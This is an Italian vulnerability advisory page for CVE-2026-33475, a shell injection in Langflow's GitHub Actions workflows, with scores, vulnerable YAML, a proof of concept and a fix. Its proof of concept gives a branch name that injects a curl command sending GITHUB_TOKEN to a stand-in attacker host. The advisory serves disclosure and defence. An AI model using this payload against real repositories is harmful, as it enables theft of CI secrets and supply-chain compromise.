CVE-2026-33475
Langflow GitHub Actions Shell Injection
- Pubblicato
- 24 mar 2026
- Aggiornato
- 25 mar 2026
- Assegnazione CNA
- GitHub_M
- Evidenza osservata
- 5 set 2026
CVSS primario
nvd · CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:NBasso · prossimi 30 giorni
- Percentile
- 81,3%
- Data del modello
- 15 ott 2026
L'EPSS è una stima statistica, non una certezza o una misura di impatto. Combinalo con CVSS, stato KEV, esposizione e ambiente.
Riepilogo
Langflow è uno strumento per creare e distribuire agenti e flussi di lavoro basati sull'IA. Esiste una vulnerabilità di shell injection remota non autenticata in più workflow di GitHub Actions nel repository Langflow precedenti alla versione 1.9.0. L'interpolazione non sanificata delle variabili di contesto di GitHub (ad es., `${{ github.head_ref }}`) nei passaggi `run:` consente agli aggressori di iniettare ed eseguire comandi shell arbitrari tramite un nome di branch dannoso o un titolo di pull request. Ciò può portare all'esfiltrazione di segreti (ad es., `GITHUB_TOKEN`), alla manipolazione dell'infrastruttura o al compromesso della supply chain durante l'esecuzione di CI/CD. La versione 1.9.0 corregge la vulnerabilità. --- ### Dettagli Diversi workflow in `.github/workflows/` e `.github/actions/` fanno riferimento a variabili di contesto di GitHub direttamente nei comandi shell `run:`, come ad esempio: ```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}" ``` Oppure: ```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps ``` Poiché `github.head_ref`, `github.event.pull_request.title` e `inputs.*` personalizzati possono contenere **valori controllati dall'utente**, devono essere trattati come **input non attendibili**. L'interpolazione diretta senza quoting o sanificazione adeguati porta all'iniezione di comandi shell. --- ### PoC 1. **Fork** del repository Langflow 2. **Creare un nuovo branch** con il nome: ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. **Aprire una Pull Request** verso il branch principale dal nuovo branch 4. GitHub Actions eseguirà il workflow interessato (ad es., `deploy-docs-draft.yml`) 5. Il passaggio `run:` contenente: ```yaml echo "Branch: ${{ github.head_ref }}" ``` Eseguirà: ```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 6. L'aggressore riceve il segreto CI tramite l'URL di esfiltrazione. --- ### Impatto - **Tipo:** Shell Injection / Remote Code Execution in CI - **Ambito:** Qualsiasi fork pubblico di Langflow con GitHub Actions abilitato - **Impatto:** Accesso completo ai segreti CI (ad es., `GITHUB_TOKEN`), possibilità di pubblicare tag o immagini dannosi, manomettere le release o divulgare dati sensibili dell'infrastruttura --- ### Correzione Suggerita Rifattorizzare i workflow interessati per **utilizzare variabili d'ambiente** e racchiuderle tra **virgolette doppie**: ```yaml env: BRANCH_NAME: ${{ github.head_ref }} run: | echo "Branch is: \"$BRANCH_NAME\"" ``` Evitare l'interpolazione diretta di `${{ ... }}` all'interno di `run:` per qualsiasi valore controllato dall'utente. --- ### File Interessati (Langflow `1.3.4`) - `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`
Utilizzo responsabile
Utilizza le informazioni sulla vulnerabilità solo sui sistemi che possiedi o che sei autorizzato a testare. Kitploit si collega ai metadati della ricerca pubblica e non memorizza codici exploit o payload dannosi.